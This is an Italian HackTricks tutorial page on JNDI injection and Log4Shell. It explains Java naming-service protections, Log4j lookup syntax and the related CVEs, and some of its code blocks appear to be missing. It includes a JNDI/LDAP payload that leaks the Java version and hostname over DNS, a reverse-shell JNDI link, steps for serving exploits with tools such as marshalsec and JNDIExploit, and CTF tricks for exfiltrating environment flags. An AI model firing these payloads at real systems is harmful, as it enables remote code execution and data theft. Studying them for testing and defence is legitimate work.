<summary><strong>Impara l'hacking AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
JNDI, integrato in Java dagli anni '90, funge da servizio di directory, consentendo ai programmi Java di individuare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce dei provider di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Gli SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
* **Indirizzi di Riferimento**: Specifica la posizione di un oggetto (ad es. _rmi://server/ref_), consentendo il recupero diretto dall'indirizzo specificato.
* **Fabbrica Remota**: Fa riferimento a una classe di fabbrica remota. Quando accessata, la classe viene scaricata e istanziata dalla posizione remota.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` di default da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` di default da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato su `true`, l'esecuzione remota del codice è possibile senza la supervisione di un Security Manager.
* **CORBA**: Non ha una proprietà specifica, ma il Security Manager è sempre attivo.
Tuttavia, il **Naming Manager**, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi origine. Ciò costituisce un rischio poiché le protezioni RMI, LDAP e CORBA possono essere aggirate, portando al caricamento di oggetti Java arbitrari o allo sfruttamento di componenti dell'applicazione esistenti (gadget) per eseguire codice dannoso.
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e della possibilità di aggirare le protezioni esistenti.
Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in una ricerca e verrà accessato: `ctx.lookup("<url-controllato-dall'attaccante>")` ed è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
CORBA (Common Object Request Broker Architecture) impiega un **Riferimento a Oggetto Interoperabile (IOR)** per identificare univocamente gli oggetti remoti. Questo riferimento include informazioni essenziali come:
* Autorizzazioni di lettura file, universalmente (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) o per directory specifiche dove potrebbero essere inseriti file dannosi.
Per RMI (Remote Method Invocation), la situazione è in parte diversa. Come con CORBA, il download arbitrario di classi è limitato per impostazione predefinita. Per sfruttare RMI, tipicamente sarebbe necessario aggirare il Security Manager, un'impresa rilevante anche in CORBA.
Una **ricerca** utilizzerà un URL come `ldap://localhost:389/o=JNDITutorial` per trovare l'oggetto JNDITutorial da un server LDAP e **recuperarne gli attributi**.\
Un **attaccante può avvelenare i record LDAP introducendo payload** su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per **compromettere decine di macchine** se si ha accesso al server LDAP). Un altro modo per sfruttare ciò sarebbe eseguire un **attacco MitM in una ricerca LDAP** ad esempio.
Nel caso in cui si possa **far risolvere un'applicazione un URL JNDI LDAP**, è possibile controllare l'LDAP che verrà cercato e potresti inviare l'exploit indietro (log4shell).
L'**exploit è serializzato** e verrà deserializzato.\
Nel caso in cui `trustURLCodebase` sia `true`, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà sfruttare gadget nel classpath.
La vulnerabilità è introdotta in Log4j perché supporta una [**sintassi speciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) nella forma `${prefix:name}` dove `prefix` è uno dei diversi [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) dove `name` dovrebbe essere valutato. Ad esempio, `${java:version}` è la versione attualmente in esecuzione di Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ha introdotto una funzionalità di `jndi` Lookup. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con `java:comp/env/`. Tuttavia, se la chiave stessa include un **":"**, questo prefisso predefinito non viene applicato.
Con un **: presente** nella chiave, come in `${jndi:ldap://esempio.com/a}`, non c'è **nessun prefisso** e il **server LDAP viene interrogato per l'oggetto**. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j che quando vengono registrate le righe.
Pertanto, l'unica cosa necessaria per ottenere RCE è una **versione vulnerabile di Log4j che elabora informazioni controllate dall'utente**. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (inclusi le applicazioni esposte su Internet), era molto comune avere log4j che registrava ad esempio gli header HTTP ricevuti come l'User-Agent. Tuttavia, log4j **non viene utilizzato solo per registrare informazioni HTTP ma qualsiasi input** e dati indicati dallo sviluppatore.
Questa vulnerabilità è una grave **flaw di deserializzazione non attendibile** nel componente `log4j-core`, che interessa le versioni da 2.0-beta9 a 2.14.1. Consente l'**esecuzione remota di codice (RCE)**, consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del team di sicurezza di Alibaba Cloud e interessa vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Sono disponibili regole Sigma per la difesa ([Regola 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regola 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Inizialmente classificata come bassa ma successivamente aggiornata a critica, questa CVE è una falla di **Denial of Service (DoS)** derivante da una correzione incompleta nella versione 2.15.0 per la CVE-2021-44228. Interessa configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS attraverso payload articolati. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra un metodo di bypass. Il problema è risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i pattern di ricerca dei messaggi e disabilitando JNDI per impostazione predefinita.
Interessando le **versioni Log4j 1.x** in configurazioni non predefinite che utilizzano `JMSAppender`, questa CVE è una grave falla di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è fuori produzione, e si consiglia di eseguire l'aggiornamento a `log4j-core 2.17.0`.
Questa vulnerabilità interessa il **framework di logging Logback**, successore di Log4j 1.x. In precedenza ritenuto sicuro, il framework è stato trovato vulnerabile e sono state rilasciate nuove versioni (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
### **CVE-2021-45105** **\[Alto]**
Log4j 2.16.0 contiene una falla DoS, che ha portato al rilascio di `log4j 2.17.0` per correggere la CVE. Ulteriori dettagli sono disponibili nel [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) di BleepingComputer.
Interessando la versione 2.17 di log4j, questa CVE richiede all'attaccante di controllare il file di configurazione di log4j. Coinvolge potenziali esecuzioni di codice arbitrario tramite un JDBCAppender configurato. Ulteriori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una **richiesta DNS** all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
Nota che **anche se viene ricevuta una richiesta DNS ciò non significa che l'applicazione sia sfruttabile** (o addirittura vulnerabile), sarà necessario provare a sfruttarla.
o come `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se viene ricevuta una **richiesta DNS con il valore della variabile di ambiente**, sai che l'applicazione è vulnerabile.
Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti dal vettore di attacco del caricamento di classi LDAP. Ciò è dovuto alla disattivazione predefinita di `com.sun.jndi.ldap.object.trustURLCodebase`, che impedisce a JNDI di caricare un codebase remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni **non sono protette dal vettore di attacco alla deserializzazione**.
Per gli attaccanti che mirano a sfruttare queste versioni JDK più recenti, è necessario sfruttare un **gadget fidato** all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit vengono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più semplice poiché è possibile manipolare tali versioni per caricare ed eseguire classi arbitrarie.
Per **ulteriori informazioni** (_come limitazioni sui vettori RMI e CORBA_) **controlla la sezione precedente del riferimento alla denominazione JNDI** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Utilizza lo strumento [**marshalsec**](https://github.com/mbechler/marshalsec) (versione jar disponibile [**qui**](https://github.com/RandomRobbieBF/marshalsec-jar)). Questo approccio stabilisce un server di rinvio LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato lo sfruttamento:
Compila il file Java in un file di classe usando: `javac Exploit.java -source 8 -target 8`. Successivamente, avvia un **server HTTP** nella directory contenente il file di classe con: `python3 -m http.server`. Assicurati che il **server LDAP marshalsec** faccia riferimento a questo server HTTP.
**Nota:** Questo exploit si basa sulla configurazione di Java per consentire il caricamento remoto del codebase tramite LDAP. Se ciò non è permesso, considera l'exploit di una classe attendibile per l'esecuzione di codice arbitrario.
Nota che per qualche motivo l'autore ha rimosso questo progetto da GitHub dopo la scoperta di log4shell. Puoi trovare una versione memorizzata nella cache su [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se desideri rispettare la decisione dell'autore, utilizza un metodo diverso per sfruttare questa vulnerabilità.
Inoltre, non è possibile trovare il codice sorgente nel wayback machine, quindi analizza il codice sorgente o esegui il file jar sapendo di non sapere cosa stai eseguendo.
Per questo esempio, puoi semplicemente eseguire questo **server web vulnerabile a log4shell** sulla porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_nel README troverai come eseguirlo_). Questa app vulnerabile registra con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP _X-Api-Version_.
Dopo aver letto il codice per solo un paio di minuti, in _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_ puoi vedere come vengono creati **i server LDAP e HTTP**. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che eseguirà l'exploit.\
In _com.feihong.ldap.gadgets_ puoi trovare **alcuni gadget specifici** che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in _com.feihong.ldap.template_ puoi vedere le diverse classi di template che **genereranno gli exploit**.
**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.**
In modo simile all'exploit precedente, puoi provare a utilizzare [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per sfruttare questa vulnerabilità.\
Puoi generare gli URL da inviare alla vittima eseguendo:
_L'attacco utilizzando un oggetto Java generato su misura funzionerà nei laboratori come la **stanza solare THM**. Tuttavia, questo non funzionerà generalmente (poiché di default Java non è configurato per caricare una codebase remota utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) è un altro strumento per generare **collegamenti JNDI funzionanti** e fornire servizi di background avviando server RMI, server LDAP e server HTTP.\
Questa opzione è davvero utile per attaccare **versioni di Java configurate per fidarsi solo di classi specificate e non di tutti**. Pertanto, **ysoserial** sarà utilizzato per generare **serializzazioni di classi fidate** che possono essere utilizzate come gadget per **eseguire codice arbitrario** (_la classe fidata abusata da ysoserial deve essere utilizzata dal programma Java vittima affinché l'exploit funzioni_).
Utilizzando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) è possibile creare l'exploit di deserializzazione che verrà scaricato da JNDI:
Usa [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per generare **collegamenti JNDI** dove l'exploit sarà in attesa di connessioni dalle macchine vulnerabili. Puoi servire **diversi exploit che possono essere generati automaticamente** dal JNDI-Exploit-Kit o anche i tuoi **payload di deserializzazione personalizzati** (generati da te o da ysoserial).
Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una **shell inversa** inviando a una versione vulnerabile di log4j: **`${ldap://10.10.14.10:1389/generated}`**
In questo [**resoconto CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia **possibile****abusare** alcune funzionalità di **Log4J**.
> Dalla versione 2.16.0 (per Java 8), la funzionalità di **message lookups è stata completamente rimossa**. **I lookups nella configurazione continuano a funzionare**. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. I lookups JNDI nella configurazione devono ora essere abilitati esplicitamente.
> Dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di lookup nella configurazione vengono espanso ricorsivamente**; in qualsiasi altro utilizzo, solo il lookup di livello superiore viene risolto, e eventuali lookups nidificati non vengono risolti.
Ciò significa che per impostazione predefinita non è possibile **utilizzare alcun exploit `jndi`**. Inoltre, per eseguire **lookups ricorsivi** è necessario averli configurati.
In [questo CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) l'attaccante controllava il valore di `${sys:cmd}` e doveva esfiltrare la flag da una variabile di ambiente.\
Come visto in questa pagina nei [**payloads precedenti**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) ci sono diversi modi per accedere alle variabili d'ambiente, come ad esempio: **`${env:FLAG}`**. In questo CTF questo metodo era inutile ma potrebbe essere utile in altri scenari reali.
Nel CTF, non si poteva accedere allo stderr dell'applicazione Java utilizzando log4J, ma le eccezioni di Log4J **vengono inviate allo stdout**, che veniva stampato nell'applicazione Python. Ciò significava che scatenando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare la flag era: **`${java:${env:FLAG}}`.** Questo funziona perché **`${java:CTF{blahblah}}`** non esiste e verrà mostrata un'eccezione con il valore della flag:
Solo per menzionarlo, potevi anche iniettare nuovi [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e scatenare eccezioni che verranno registrate su `stdout`. Per esempio:
Questo non è risultato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non era risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.
Tuttavia, è possibile utilizzare alcuni **conversion patterns che supportano regexes** per esfiltrare informazioni da una ricerca utilizzando regexes e abusando dei comportamenti **binary search** o **time based**.
Il conversion pattern **`%replace`** può essere utilizzato per **sostituire****contenuti** da una **stringa** anche utilizzando **regexes**. Funziona in questo modo: `replace{pattern}{regex}{substitution}`\
Abusando di questo comportamento, potresti far sì che la sostituzione **scateni un'eccezione se il regex corrisponde** a qualcosa all'interno della stringa (e nessuna eccezione se non viene trovato) in questo modo:
Come è stato menzionato nella sezione precedente, **`%replace`** supporta le **espressioni regolari**. Quindi è possibile utilizzare un payload dalla [pagina ReDoS](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
Ad esempio, un payload come `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` scatenerebbe un **timeout** in quel CTF.
In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, è stato utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
> Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#` (ho usato questo carattere perché probabilmente non fa parte del flag). **Ciascuno dei 29 `#` risultanti viene poi sostituito da 54 `#`**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> Sostituire così tanti `#` causerà il timeout di 10 secondi dell'applicazione Flask, che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con `flagGuess`, riceveremo un codice di stato non-500)
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
